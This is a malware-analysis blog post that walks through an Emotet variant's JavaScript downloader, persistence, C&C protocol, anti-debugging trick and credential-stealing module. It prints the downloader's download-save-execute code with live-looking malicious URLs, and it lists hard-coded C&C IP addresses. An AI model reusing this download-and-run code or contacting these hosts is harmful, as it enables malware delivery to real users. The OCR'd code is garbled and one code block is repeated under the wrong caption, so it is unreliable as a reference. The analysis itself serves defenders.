# Deep Analysis of New Emotet Variant – Part 1

blog.fortinet.com/2017/05/03/deep-analysis-of-new-emotet-variant-part-1

May 3, 2017

| Correction of the second secon | Documents     Outlook Files                            | ▼ 49 Search   | Outlook Files                | <b>-</b>     |
|--|--|---|------------------------------|--------------|
| Organize   | New folder   |   | -                            | · 🗍 🔞        |
| ★ Favorites ■ Desktop  | Documents library<br>Outlook Files                     |   | Arrange t                    | oy: Folder ▼ |
| Downloads<br>≣ Recent Places   | Name   | Type<br>Outlook Data File                                   | Size<br>265 KB               |              |
| Libraries  | 21@outlook.com.pst<br>outlookpst<br>@<br>@yeah.net.pst | Outlook Data File<br>Outlook Data File<br>Outlook Data File | 265 KB<br>265 KB<br>8,201 KB |              |
| My Documents     Public Docume     Music     T   |  |   |                              |              |
| 4 items  |  |   |                              |              |

Threat Research

By Xiaopeng Zhang | May 03, 2017

# Background

Last week, FortiGuard Labs captured a JS file that functions as a malware downloader to spread a new variant of the Emotet Trojan. Its original file name is *Invoice\_\_779\_\_Apr\_\_\_25\_\_\_2017\_\_\_lang\_\_gb\_\_\_GB779.js*. A JS file, as you may be aware, is a JavaScript file that can be executed by a Window Script Host (wscript.exe) simply by double-clicking on it. In this blog we will analyze how this new malware works by walking through it step by step in chronological order.

# A JS file used to spread malware

The original JS code is obfuscated, and therefore hard to understand. Based on my analysis, its task is to generate a new JS code into an array and execute it. The new code is easier to understand, as you can see in the code snippet in Figure 1. As I mentioned, it's a downloader tool that tries to download malware from five URLs onto the affected device. Once one download is finished, the malware is saved to the system temporary folder as "random name.exe" and executed.

```
function getData(callback)
{try{getDataFromUrl("http://willemberg.co.za/TwnZ36145p.Wer/", function(result, error)
(if ( ! error)(return callback(result, false); ) else
{getDataFromUrl, http://meanconsulting.com/K44975X/", function(result,
                                                                       error)
(if ( ! error (return callback(result, false); ) else
{getDataFronUrl("http://microtecno.com/i17281nfryG/", function(result,
                                                                        error)
(if ( ! error) {return callback(result, false); } else
(getDataFronUrl("http://thefake.com/Y96158yeXR/", function(result, error)
(if ( ! error return callback(result, false); ) else
(getDataFromUrl (http://cdoprojectgraduation.com/eaSz156120/", furction(result, error)
(if ( ! error) {retur. callback(result, false); } else
[....]
function getDataFromUrl(url, callback)
{try{var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
xmlHttp.open("GET", url, false); xmlHttp.send(); if (xmlHttp.status == 200)
(return callback(xmlHttp.ResponseBody, false); ) else
{return callback(null, true); } } catch (error)
{return callback(null, true); } }
function getTempFilePath()
{try{ var fs = new ActiveXObject("Scripting.FileSystemObject");
var tmpFileName = "\\" + Math.random().toString(36).substr(2, 9) +".exe";
var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName; return tmpFilePath; } catch (error)
(return false; ) )
function saveToTemp(data, callback)
{trv
(var path = getTempFilePath(); if (path)
(var objStream = new ActiveXObject("ADODB.Stream"); objStream.Open(); objStream.Type = 1;
 objStream.Write(data); objStream.Position = 0; objStream.SaveToFile(path, 2);
 objStream.Close(); return callback(path, false); } else
(return callback(null, true); ) ) catch (error)
{return callback(null, true); } }
getData(function(data, error)(if ( ! error)(
saveToTemp(data, function(path, error)(if( ! error)
  {trv{
 var wsh = new ActiveXObject("WScript.Shell");
 wsh.Run(path);
[....]
```

Figure 1. Snippet of the generated JS code

# Running the downloaded exe file

While the downloaded exe file is executed, it moves itself to "%LocalAppData%\random name\random name.exe". A random name for the file is generated using local file names. You can treat it as any random name, however, in my environment, the name is "LatnParams.exe".

To protect itself, once LatnParams.exe is executed it extracts code from itself, inserts it into a newly-created LatnParams.exe by calling the CreateProcessW function with a CREATE\_SUSPENDED flag, and then restores the second process to run. Once that is complete, the first process exits. Later, the LatnParams.exe's lnk file is created inside the Startup folder in the system Start Menu so it can automatically run whenever the system starts. See Figure 2.



Figure 2. Malware in Startup folder

# The main function of the second process

Next, we'll look to see how the code works inside the second process that is created. There is a hidden window created for the second process. Its WindowProc function is to handle all windows messages for the window. This malware uses a WM\_TIMER message to initiate it. Calling the SetTimer function can generate such a message.

Once this window is created, a WM\_CREATE message is sent to the WindowProc function, where it calls the SetTimer function to keep the system posting WM\_TIMER messages every 200ms and then callback the window's WindowProc function.

```
function getData(callback)
{try{getDataFromUrl("http://willemberg.co.za/Twn236145p.Wer/", function(result, error)
(if ( ! error)(return callback(result, false); ) else
(getDataFromUrl, http://meanconsulting.com/K44975X/", function(result, error)
(if ( ! error (return callback(result, false); ) else
(getDataFroyUrl("http://microtecno.com/i17281nfryG/", function(result,
                                                                        error)
(if ( ! error) (return callback(result, false); ) else
(getDataFronUrl("http://thefake.com/Y96158yeXR/", function(result, error)
(if ( ! error (return callback(result, false); ) else
(getDataFromUrl (http://cdoprojectgraduation.com/eaSz156120/", furction(result, error)
(if ( ! error) {retur. callback(result, false); } else
[....]
function getDataFromUrl(url, callback)
{try{var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
xmlHttp.open("GET", url, false); xmlHttp.send(); if (xmlHttp.status == 200)
(return callback(xmlHttp.ResponseBody, false); ) else
{return callback(null, true); } } catch (error)
{return callback(null, true); } }
function getTempFilePath()
{try{ var fs = new ActiveXObject("Scripting.FileSystemObject");
var tmpFileName = "\\" + Math.random().toString(36).substr(2, 9) +".exe";
var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName; return tmpFilePath; } catch (error)
(return false; ) )
function saveToTemp(data, callback)
{try
(var path = getTempFilePath(); if (path)
(var objStream = new ActiveXObject("ADODB.Stream"); objStream.Open(); objStream.Type = 1;
 objStream.Write(data); objStream.Position = 0; objStream.SaveToFile(path, 2);
 objStream.Close(); return callback(path, false); } else
(return callback(null, true); ) ) catch (error)
{return callback(null, true); } }
getData(function(data, error)(if ( ! error)(
saveToTemp(data, function(path, error)(if( ! error)
  {trv{
 var wsh = new ActiveXObject("WScript.Shell");
 wsh.Run(path);
[....]
```

Figure 3. Call SetTimer Function

Next, we will examine this WindowProc function. Figure 4 is the structure of this function in pseudo code.

```
int stdcall WindowProc(int a1, int a2, int a3, int a4)
Ł
 [....]
case 6:
  sub_403A20(); // Collect victim system's information and encrypt.
  v17 = v6();
  dword 4185D0 = 7;
  dword 4185E0 = v17 + 2200;
  break:
case 7:
  if ( !sub_403AE0() ) // Communicate with C&C server.
    qoto LABEL 23;
  dword 4185D0 = 8;
  dword 4185E0 = v6() + 2200;
  break;
case 8:
  if ( sub_403B30() ) // Decrypt the reply data from C&C server.
  Ł
    v20 = v6();
    dword 418500 = 9;
    dword 4185E0 = v20 + 2200;
  }
  else
  {
 LABEL 23:
 v18 = dword 4185E8 + 1;
  if ( !CnC Server IP[2 * (dword 4185E8 + 1)] )// Get hard-coded C&C server IP(s)
   v18 = 0;
  dword 4185E8 = 018;
  v19 = v6();
  dword_{418500} = 6;
  dword_4185E0 = v19 + 30000;
  }
  break;
case 9:
  sub_403BA0();// Parse decrypted data from C&C server.
  v21 = v6();
  dword 418500 = 6;
  dword 4185E0 = v21 + 900000;
  break;
 [•••••]
}
```

Figure 4. WindowProc Function

# Case 6 Code Branch

In the case 6 code branch, the malware collects system information from the affected device, including computer name, country name, the names of all running programs, and content about whether or not MS Office Outlook is installed. It then puts all the collected data together into a memory buffer and encrypts it. Figure 5 shows the data ready for encryption.

| 00634928 | 08 | 10 | 12 | AA | 03 | 0A | 14 | 41 | 44 | 4D | 49 | 4E | 2D | 50 | 43 | 5F | H1?. MADMIN-PC                  |
|----------|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|---------------------------------|
| 00634938 | 55 | 53 | 5F | 38 | 31 | 39 | 44 | 39 | 36 | 45 | 37 | 15 | 16 | 00 | 01 | 00 | JS 819D96E7⊣                    |
| 00634948 | 1A | F8 | 02 | 5B | 53 | 79 | 73 | 74 | 65 | 6D | 20 | 50 | 72 | 6F | 63 | 65 | →?[System Proce                 |
| 00634958 | 73 | 73 | 5D | 2C | 53 | 79 | 73 | 74 | 65 | 6D | 2C | 73 | 6D | 73 | 73 | 2E | ss], Švstem, smss.              |
| 00634968 | 65 | 78 | 65 | 2C | 63 | 73 | 72 | 73 | 73 | 2E | 65 | 78 | 65 | 2C | 77 | 69 | exe, csrss. exe, wi             |
| 00634978 | 6E | 6C | 6F | 67 | 6F | 6E | 2E | 65 | 78 | 65 | 2C | 77 | 69 | 6E | 69 | 6E | nlogon. exe, winin              |
| 00634988 | 69 | 74 | 2E | 65 | 78 | 65 | 2C | 73 | 65 | 72 | 76 | 69 | 63 | 65 | 73 | 2E | it.exe,services.                |
| 00634998 | 65 | 78 | 65 | 2C | 6C | 73 | 61 | 73 | 73 | 2E | 65 | 78 | 65 | 2C | 6C | 73 | exe, lsass. exe, ls             |
| 006349A8 | 6D | 2E | 65 | 78 | 65 | 2C | 73 | 76 | 63 | 68 | 6F | 73 | 74 | 2E | 65 | 78 | m.exe, svchost.ex               |
| 006349B8 | 65 | 2C | 73 | 70 | 6F | 6F | 6C | 73 | 76 | 2E | 65 | 78 | 65 | 2C | 73 | 72 | e, spoolsv. exe, sr             |
| 006349C8 | 76 | 61 | 6E | 79 | 2E | 65 | 78 | 65 | 2C | 4B | 4D | 53 | 65 | 72 | 76 | 69 | vany. exe, KMServi              |
| 006349D8 | 63 | 65 | 2E | 65 | 78 | 65 | 2C | 63 | 6F | 6E | 68 | 6F | 73 | 74 | 2E | 65 | ce.exe,conhost.e                |
| 006349E8 | 78 | 65 | 2C | 73 | 70 | 70 | 73 | 76 | 63 | 2E | 65 | 78 | 65 | 2C | 77 | 6D | xe, sppsvc. exe, wn             |
| 006349F8 | 70 | 6E | 65 | 74 | 77 | 6B | 2E | 65 | 78 | 65 | 2C | 53 | 65 | 61 | 72 | 63 | pnetwk.exe, Searc               |
| 00634A08 | 68 | 49 | 6E | 64 | 65 | 78 | 65 | 72 | 2E | 65 | 78 | 65 | 2C | 74 | 61 | 73 | hIndexer.exe,tas                |
| 00634A18 | 6B | 68 | 6F | 73 | 74 | 2E | 65 | 78 | 65 | 2C | 64 | 77 | 6D | 2E | 65 | 78 | khost.exe,dwm.ex                |
| 00634A28 | 65 | 2C | 65 | 78 | 70 | 6C | 6F | 72 | 65 | 72 | 2E | 65 | 78 | 65 | 2C | 63 | e, explorer. exe, c             |
| 00634A38 | 6D | 64 | 2E | 65 | 78 | 65 | 2C | 74 | 61 | 73 | 6B | 6D | 67 | 72 | 2E | 65 | md.exe,taskmgr.e                |
| 00634A48 | 78 | 65 | 2C | 72 | 65 | 67 | 65 | 64 | 69 | 74 | 2E | 65 | 78 | 65 | 2C | 69 | xe, regedit. exe, i             |
| 00634A58 | 65 | 78 | 70 | 6C | 6F | 72 | 65 | 2E | 65 | 78 | 65 | 2C | 6E | 6F | 74 | 65 | explore.exe, note               |
| 00634A68 | 70 | 61 | 64 | 2E | 65 | 78 | 65 | 2C | 61 | 75 | 64 | 69 | 6F | 64 | 67 | 2E | pad.exe, audiodg.               |
| 00634A78 | 65 | 78 | 65 | 2C | 4C | 61 | 74 | 6E | 50 | 61 | 72 | 61 | 6D | 73 | 2E | 65 | exe.LatnParams.e                |
| 00634A88 | 78 | 65 | 2C | 4F | 6C | 6C | 79 | 44 | 42 | 47 | 2E | 45 | 58 | 45 | 2C | 53 | xe, <mark>OllyDBG.EXE,</mark> S |
| 00634A98 | 65 | 61 | 72 | 63 | 68 | 50 | 72 | 6F | 74 | 6F | 63 | 6F | 6C | 48 | 6F | 73 | earchProtocolHos                |
| 00634AA8 | 74 | 2E | 65 | 78 | 65 | 2C | 53 | 65 | 61 | 72 | 63 | 68 | 46 | 69 | 6C | 74 | t.exe,SearchFilt                |
| 00634AB8 | 65 | 72 | 48 | 6F | 73 | 74 | 2E | 65 | 78 | 65 | 2C | 22 | 12 | 4D | 69 | 63 | erHost.exe.″IMic                |
| 00634AC8 | 72 | 6F | 73 | 6F | 66 | 74 | 20 | 4F | 75 | 74 | 6C | 6F | 6F | 6B | 00 | 00 | rosoft Outlook                  |
| 00634AD8 | F5 | C5 | D8 | FA | F5 | D9 | 00 | 00 | E8 | 25 | 63 | 00 | 00 | 19 | 63 | 00 | 跖佞踬?c┝c.                        |

Figure 5. Collected data from the victim's system

As you can see, the first part is the computer name. Following "16 00 01 00" is the CPU information. The next part is the running process names, followed by the string "Microsoft Outlook," which means that MS Office Outlook is installed on this machine. You may also notice that the debugger name "OllyDBG.exe" is also in the process name list. Through my analysis I found that the C&C server checks the process names. If it learns that a debugging-related tool (such as OllyDbg, WinDbg, IDA Pro, etc.) is being running on the victim's machine, a different response is returned. In this case, it replies with a new version of itself, causing itself to upgrade again and again until those tools exit.

After encryption, it copies the encrypted data, the encryption key, and the hash value together into a new buffer. It then sets the next case number to 7 and exits the case 6 branch.

# Case 7 Code Branch

In the case 7 code branch the main function is to connect to the C&C server and send collected data to the server. It also receives data from the C&C server. We'll take a look at how it works here.

The C&C server's IP and port are hard-coded. In this version there are eleven, as shown below:

| 004175D0 |    |            | ; DATA XREF: WindowProc+257r |
|----------|----|------------|------------------------------|
| 004175D0 |    |            | ;sub_403AE0+Co               |
| 004175D0 | dd | 0D453A62Dh | ;212.83.166.45               |
| 004175D4 | dd | 1F90h      | ;8080                        |
| 004175D8 | dd | 0ADE68843h | ;173.230.136.67              |
| 004175DC | dd | 1BBh       | ;443                         |
| 004175E0 | dd | 0ADE0DA19h | ;173.224.218.25              |
| 004175E4 | dd | 1BBh       | ;443                         |
| 004175E8 | dd | 68E38922h  | ;104.227.137.34              |
| 004175EC | dd | 1BA8h      | ;7080                        |
| 004175F0 | dd | 894AFE40h  | ;137.74.254.64               |
| 004175F4 | dd | 1F90h      | ;8080                        |
| 004175F8 | dd | 0BCA5DCD6h | ;188.165.220.214             |
| 004175FC | dd | 1F90h      | ;8080                        |
| 00417600 | dd | 558FDDB4h  | ;85.143.221.180              |
| 00417604 | dd | 1BA8h      | ;7080                        |
| 00417608 | dd | 77521BF6h  | ;119.82.27.246               |
| 0041760C | dd | 1F90h      | ;8080                        |
| 00417610 | dd | 0C258F607h | ;194.88.246.7                |
| 00417614 | dd | 1F90h      | ;8080                        |
| 00417618 | dd | 0CED6DC4Fh | ;206.214.220.79              |
| 0041761C | dd | 1F90h      | ;8080                        |
| 00417620 | dd | 68EC02FDh  | ;104.236.2.253               |
| 00417624 | dd | 1BBh       | ;443                         |

It gets the data generated in the case 6 branch and encodes it using base64. It then sends the base64-encoded data as a Cookie value to the C&C server. Figure 6 shows the data in Wireshark.

| ✓ Wireshark · Follow TCP Stream (tcp.stream eq 0) · 404error   | -                            |            | ×   |
|--|------------------------------|------------|-----|
| GET / HTTP/1.1<br>Cookie: 885=V+vJ9QCLNCdvsbo4g38N12+eEB1mcNjAL/+TNW/VrHoGIOrNTRS1zheNkERL63TwY10IYs0uTA51bPZ1m1zW0ah<br>+41w116hrcB38e6BiGiKokeyTsV17+SCoR156UPZsSclHcZFx0F7HsF9X6bmrAusiieFo3n3udP1ynQdvs10pwN07GNGGUL/BH<br>ivVvdeKqmm7U0w6meg37pEYwefiAGJzkhryhQASzMusY//MEz0wXmWgQpk7LUGYKSTx+u3qCaD6UlZDnVQ90opH29GCDgD<br>+BqRp1uxAJkjM19JKuA7FrM0xy51Fmp3sKaXu6t28cVkDYVo06uz86z3eFLG2HyS/POAM8C7NP8yGNpYyTeyo/<br>ZAJ25gU0TWvBKXRBA0mB0jHucPxf0yfW+s7zMM0W/vHipCIzPAob/CFVFmytXbA+jprarwjGs+XsG1AZc7HJaxV<br>+SaQGBudyHQrkux11fipsuk7noirfYEW+r7Ggh/<br>z56W9d3XNNBXW50JX01zLjpHhPeGAom1aubxtoKVdKE3E96rBzNk0IQ012dI3Vio5j0k3cVL3n9bwHAFYxGasY0Bb2dqyvdr/<br>1LjLIceqngLt<br>User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; SLCC1; .NET CLR 1.1.4322)<br>Host: 85.143.221.180:7080<br>Connection: Keep-Alive<br>Cache-Control: no-cache | nVnnGJ,<br>non+qb,<br>A/PAM/ | g8h8m<br>/ | ^   |
| HTTP/1.1 404 Not Found<br>Server: nginx<br>Date: Wed, 26 Apr 2017 18:47:12 GMT<br>Content-Type: text/html; charset=UTF-8<br>Content-Length: 178324<br>Connection: keep-alive   |                              |            |     |
| c.q[<br>.os3yJc.z.mS5<8no.Zy:A.J.gdsp6ROe.mn.wMeJ'.%5p`.RH.v.7.<br>+w>L.L.).p0.hmyO."ZuBD'.<80.!.%32:.a.D%q.<br>\$D{YOW'P[bU.c.W./.}{.^7@uHNPJ.dax.in.<br>8Jwla.M~.ph'.r.c.&B.i.JXLg.s.wZ!.)d'jEF7.=.0.?.j%OP%.i\$V.'<br>9KM,> vmd.&   | c.;<br>F<br>>                | .).X.      | ~   |
| 1 client pkt(s), 123 server pkt(s), 1 turn.  |                              | Stream     |     |
| Find:  |                              | Find Ne    | • • |
| Hide this stream Print Save as Clos  | e                            | Help       |     |

Figure 6. Send collected system information to C&C server

In Figure 6, the status of the response from C&C server is "404 Not Found." This message is used is to confuse analysts. The body, however, is the encrypted data. After receiving all data from the server, it sets the next case number to 8 and exits this branch.

# Case 8 Code Branch

The only thing done in the case 8 branch is decrypt the data received in case 7. It then exits this branch and sets the next case number to 9.

# Case 9 Code Branch

The case 9 branch is used to process the data decrypted in case 8. Figure 7 is a part of the pseudo code of case 9.

```
switch ( v8 )
{
  case 1u:
  case 2u:
    sub_403560(v9, v10); // upgrade itself.
    break;
  case 3u:
    sub 403660(v9, (unsigned int)v10 >> 1);// to download a file and execute it.
    break:
  case 4u:
   v5 = sub_4019B0(v9, v10);
   if ( V5 )
      CreateThread(0, 0, Thread_fun, v5, 0, 0);// load modules in thread functions.
    break;
  case 5u:
    sub_402650();
    sub_4026F0();
    break;
  default:
    continue;
}
```

Figure 7. Pseudo code of case 9

There are some sub-cases in the case 9 branch. The case number "v8" comes from decrypted data. Following are two examples of the decrypted data.

In Figure 8, "08 01" is about a sub-case. "08" is a kind of flag or C&C command, and "01" refers to sub-case number 1. As you may know, the following data is an .exe file. In the sub-case 1 branch, this file is executed to upgrade the Emotet malware. Usually, it receives an upgrade command because the C&C server has detected that there is debugging-related tool in the running program names. It's a way to both protect itself against debugging and confuse analysts. In sub-case 1 branch, it saves the .exe file into a system temporary folder and runs it by calling the ShellExecuteW function. Meanwhile, the parent process exits to finish the upgrade.

| 💥 OllyICE -  | - [*C.P.U* - ma  | in thread]   |   |   |   |   |  |
|--|--|--|---|---|---|---|--|
| C File Vie   | ew Debug P   | lugins Options   | Window Help   |   |   |   |  |
| Paused   | 2 A X 4 F  |  | •   | LEMTW   | H C / K   | B R S   |  |
| 004185DA<br>004185DC<br>004185DF<br>004185E0<br>004185E6<br>004185E8<br>004185EA<br>004185EA   | B7 EC<br>845F 2A<br>6D<br>87B0 D00<br>0000<br>0000<br>0000<br>A8 BF  | 080000<br>180000<br>add<br>add<br>add<br>test  | bh, OEC<br>byte ptr<br>dword ptr<br>dword ptr<br>byte ptr<br>byte ptr<br>byte ptr<br>al. OBF  | [edi+2A], bl<br>es:[edi], dx<br>[eax+8D0], es<br>[eax], al<br>[eax], al<br>[eax], al  | ≓i  |   |  |
| 004185EE<br>004185F0<br>004185F6<br>004185F8<br>004185FA<br>004185FA<br>004185FC   | 6A 00<br>129A 020<br>0000<br>0000<br>0000<br>16<br>0001  | 000000 adc<br>add<br>add<br>add<br>add<br>add<br>add   | 0<br>bl, byte<br>byte ptr<br>byte ptr<br>byte ptr<br>ss   | ptr [edx+2]<br>[eax], al<br>[eax], al<br>[eax], al<br>[eax], al   |   |   |  |
| 006ABFA8<br>006ABFB8<br>006ABFC8<br>006ABFD8<br>006ABFE8<br>006ABFF8   | 0A 89 B4 0<br>00 03 00 0<br>00 00 00 0<br>00 00 00 0<br>00 00 00 0<br>0E 00 B4 0   | DA 86 B4 0A 0<br>00 00 04 00 0<br>00 00 40 00 0<br>00 00 00 00 0<br>00 00 00 00 0<br>09 CD 21 B8 0 | 08         01         12         80         1           00         00         FF         FF         0           00         00         00         00         00         00           00         00         00         00         00         00         00         00           00         00         E0         00 | 34         0A         4D         5A         90           00         00         B8         00         00           00         00         00         00         00           00         00         00         00         00           00         00         00         00         00           00         00         00         00         00           00         00         0E         1F         BA           54         68         69         73         20 | .壤.喆.■<br>@.<br>♬.???L?Th   | 1€?MZ<br>••?.<br><br>?β?<br>is  | 001<br>001<br>001<br>001<br>001<br>001<br>001                      |
| 006AC008<br>006AC018<br>006AC028<br>006AC038<br>006AC048<br>006AC058<br>006AC068<br>006AC078<br>006AC088<br>006AC098<br>006AC088<br>006AC088<br>006AC088 | 70 72 6F 6<br>65 20 72 7<br>65 2E 0D 0<br>81 35 BC A<br>E2 22 BC A<br>E2 64 BC A<br>E2 34 BC A<br>68 35 BC A<br>68 35 BC A<br>00 4C 01 0<br>00 E0 00 0<br>00 00 00 8 | $\begin{array}{cccccccccccccccccccccccccccccccccccc$   | $\begin{array}{cccccccccccccccccccccccccccccccccccc$  | $\begin{array}{rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr$  | program c<br>e run in<br>e\$<br>?缉?缉?缉?<br>#鈕??<br>針鈕??<br>\$<br>\$<br>\$<br>\$<br>\$<br>\$<br>\$<br>\$<br>\$<br>\$<br>\$<br>\$<br>\$<br>\$<br>\$<br>\$<br>\$<br>\$ | annot b<br>DOS mod<br>q萸<br>鈀?<br>鈀?<br>鈀?<br>鈔ic<br>PE.<br>p<br>p<br>p | 001<br>001<br>001<br>001<br>001<br>001<br>001<br>001<br>001<br>001 |
| 0064C0D9<br>M1 M2 M3   | M4 M5  | Comm   | and:  |   |   |   | 001  |
| Start:66C0C0 P   | End:660000 Valu  | e-100000   |   |   |   |   |  |

Figure 8. Sub-case 1 example

|      | OllyIC           | E[*                 | C.P.U          | J* - n | main     | threa | ad]      |          |            | 2    |     |      |            |    |          |          |          |                             |                |     |
|------|------------------|---------------------|----------------|--------|----------|-------|----------|----------|------------|------|-----|------|------------|----|----------|----------|----------|-----------------------------|----------------|-----|
| C    | File             | View                | Deb            | ug     | Plu      | gins  | Op       | tion     | s V        | Vind | ow  | Help | р          |    |          |          |          |                             |                |     |
| Pa   | used             |                     | •              | ×      |          |       |          | •        | 21         |      | -   |      |            | LE | M        | Т        | W        | HC71                        | K B R          | S   |
| 00   | )403B/           | 9                   | BA I           | EC 85  | 5410     | 00    | I        | nov      |            | e    | dx. | 418  | 35E(       | 2  |          |          |          |                             |                |     |
| 00   | )403B <i>i</i>   | Æ                   | 53             |        |          |       | 1        | busł     | 1          | eł   | X   |      |            |    |          |          |          |                             |                |     |
|      | <u>)403B</u> /   | 1 <u>81</u>         | <u>56</u><br>C |        |          |       | ,        |          | _          |      | .:  |      |            |    |          |          |          |                             |                |     |
| l er | 0X-013           | 00000               | 0              |        |          |       |          |          |            |      |     |      |            |    |          |          |          |                             |                |     |
|      |                  |                     |                |        |          |       |          |          |            |      |     |      |            |    |          |          |          |                             |                |     |
|      |                  |                     |                |        |          |       |          |          | _          |      |     |      |            |    |          |          |          |                             |                |     |
| 03   | 303002           | 20 0A               | . 9B           | BC     | 20       | 86    | EO       | 05       | <u>08</u>  | 04   | 12  | 80   | EO         | 05 | 4D       | 5A       | 90       | .浖,噌∥                       | ¥l€?MZ?        | -   |
| 03   | 202003           |                     | 03             | 00     | 00       | 00    | 40       | 00       | 00         | 00   | 11  | 11   | 00         | 00 | B8<br>00 | 00       | 00       | . <sup>_</sup> <sup>_</sup> | . • •?         | 1 4 |
| 0.0  | 303009           | 50100               | 00             | 00     | 00       | 00    | 00       | 00       | 00         | 00   | 00  | 00   | 00         | 00 | 00       | 00       | 00       |                             |                |     |
| 03   | 303006           | so jõõ              | ŎŎ             | ŎŎ     | ŎŎ       | ŎŎ    | ŎŎ       | ŎŎ       | ŎŎ         | ŎŎ   | ĚŎ  | ŎŎ   | ŎŎ         | ÕÕ | ŎĚ       | 1F       | ĎĂ       |                             | ? ₿?           |     |
| 03   | 30300'           | 70   OE             | 00             | Β4     | 09       | CD    | 21       | B8       | 01         | 4C   | CD  | 21   | 54         | 68 | 69       | 73       | 20       | ₿.???L?.                    | This           |     |
| 03   | 303008           | 30 70               | 72             | 6F     | 67       | 72    | 61       | 6D       | 20         | 63   | 61  | 6E   | 6E         | 6F | 74       | 20       | 62       | program                     | cannot b       |     |
| 03   | 202005           | 40   65<br>10   65  | 20             | 72     | 75<br>0D | 6E    | 20       | 69       | 6E         | 20   | 44  | 41   | 53         | 20 | 6D<br>75 | 6F<br>76 | 64<br>CF | e run in                    | n DOS mod<br>9 |     |
| 03   | 203002<br>203007 | CO   02<br>8 A   03 | ZE<br>SB       | 17     | AU<br>AU | BB    | 24<br>38 | 17       | 00<br>A () | BB   | 3B  | 17   | 00<br>A () | BB | 11<br>36 | 10       | 6E<br>41 | e⊅<br> 개☆내始                 |                |     |
| 03   | 303000           | COBB                | 11             | 17     | AO       | BB    | 36       | 45       | 7F         | BB   | 2B  | 17   | AO         | BB | 36       | 45       | 40       | ?+择6E'                      | ?+\$\$\$6E@    |     |
| 03   | 30300I           | 00 BB               | 4E             | 17     | AO       | ΒB    | E6       | E8       | 6E         | ΒB   | ЗA  | 17   | AO         | ΒB | E6       | E8       | 6B       | 1籒  拴骅                      | 1?] 辁骅k        |     |
| 03   | 30300E           | CO BB               | 32             | 17     | A0       | BB    | ЗB       | 17       | A1         | BB   | 52  | 17   | A0         | BB | 46       | 6E       | 45       | 汁挨け風                        | Rh辁FnE         |     |
| 03   | 30300H           |                     | 23             | 17     | AO       | BB    | 46       | 6E       | 7E         | BB   | 3A  | 17   | AO<br>OO   | BB | 52       | 69       | 63       | ? 똱Fn '<br> , 此             | ?Y辁Ric         |     |
| 03   | 203011<br>203011 | 0100                | 3D<br>40       | 11     | AU<br>04 |       | 71       | 00<br>50 | UU<br>DA   | 50   | 00  | 00   | 00         | 00 | 50       | 45       | 00       | n;†¥±<br>⊺                  | PD.<br>7.趈     |     |
| 03   | 303010           | 20100               | EO             | 00     | 02       | 21    | OB       | 01       | DC<br>DC   | 00   | 00  | FO   | 00         | 00 | 00       | 90       | 00       | . 2-17                      | ·              | 1   |
| 03   | 303013           | 30 00               | 00             | 00     | 00       | 00    | 2F       | 3Ã       | 00         | 00   | 00  | 10   | 00         | 00 | 00       | 00       | 01       |                             |                |     |
| 03   | 303014           | 10 00               | 00             | 00     | 00       | 10    | 00       | 10       | 00         | 00   | 00  | 02   | 00         | 00 | 05       | 00       | 01       | +.,+.                       |                |     |
| 03   | 303019           | 50 00               | 00             | 00     | 00       | 00    | 05       | 00       | 01         | 00   | 00  | 00   | 00         | 00 | 00       | CO       | 01       | • • • • • • • •             | ?              |     |
| 03   | SU3U15<br>SO3015 |                     | 00             | 10     | 00       | 00    | 00       | 00       | 10         | 00   | 02  | 10   | 40         | 01 | 00       | 00       | 10       | <sup>_</sup>                | .┐.⋓゛<br>⊥ ⊥   | 1   |
| 0.3  | 303018           | 20100               | 10             | 00     | 00       | 00    | 00       | 00       | 00         | 00   | 00  | 00   | 00         | 00 | 2C       | 4D       | 01       | +                           | M              |     |
| 03   | 303019           | 00 00               | -<br>50        | ŎŎ     | ŐŎ       | 00    | ŎŎ       | ŎŎ       | ŎŎ         | 00   | ŎŎ  | ŎŎ   | ŎŎ         | 00 | 00       | 00       | ŎŌ       | . P                         |                |     |
| 03   | 30301 <i>1</i>   | 10 00               | 00             | 00     | 00       | 00    | 00       | 00       | 00         | 00   | 00  | 00   | 00         | 00 | 00       | AO       | 01       |                             | ?              |     |
| 03   | 30301H           | 30 00               | 04             | 11     | 00       | 00    | 00       | 00       | 00         | 00   | 00  | 00   | 00         | 00 | 00       | 00       | 00       | .⊿∢                         |                |     |
| 03   | 202010           |                     | 00             | 00     | 00       | 00    | 00       | 00       | 00         | 00   | 40  | 00   | 00         | 00 | 00       | 00       | 00       | ······<br>,/史               | <br>M          |     |
| 03   | 303011<br>303011 |                     | 00             | 00     | 00       | 00    | 00       | 41       | 01         | 00   | 40  | 00   | 00         | 00 | 00       | 00       | 00       | ••••                        | <br>d          |     |
| 03   | 30301H           | 00 00               | 00             | 00     | 00       | 00    | 00       | 00       | 00         | 00   | 00  | 00   | 00         | 00 | 00       | 00       | 00       |                             |                |     |
| 03   | 303020           | 00 00               | 00             | 00     | 00       | 00    | 2E       | 74       | 65         | 78   | 74  | 00   | 00         | 00 | 84       | EE       | 00       | te                          | ext勵.          |     |
| 0.9  | 202021           | 0.00                | 00             | 10     | 00       | 00    | 00       | FO       | 00         | 00   | 00  | 04   | 00         | 00 | 00       | 00       | 00       | 1 1 9                       |                |     |

#### Figure 9. Sub-case 4 example

I manually modified the "OllyDBG.exe" to another program name before encryption (refer back to Figure 5). Then I was able to get the response shown in Figure 9. The flag changes to "08 04", where "04" means sub-case number 4. In my analysis, it contains 3 modules (.dll files) in the decrypted data. The flags for all of them are "08 04". Which means the modules are all processed in the sub-case 4 branch. As you can see in Figure 7, the sub-case 4 calls the CreateThread function to create threads and run the modules in the ThreadFunction, with one thread for one module. So far, we have only finished the analysis of one of the three Emotet modules. We are still working on analyzing the others, and will share that analysis in another blog.

So next, let's take a look at what this module is able to do.

### The module loaded in a thread

Based on my analysis, this module steals credential information from a victim's machine. It then encrypts that stolen data and sends it to the C&C server.

When this module is loaded in the ThreadFunction, it inserts the code extracted from itself into a newly-created LathParams.exe process to run. The newly-created process has a command line parameter like "%temp%\A98b.tmp". This is a temporary file used to save the stolen credential information.

It is able to steal credentials for Google accounts, FTP accounts saved in IE, Google Talk, Office Outlook, IncrediMail, Group Mail, MSN Messenger, Mozilla Thunderbird, and many others. The following screenshot shows some of them.

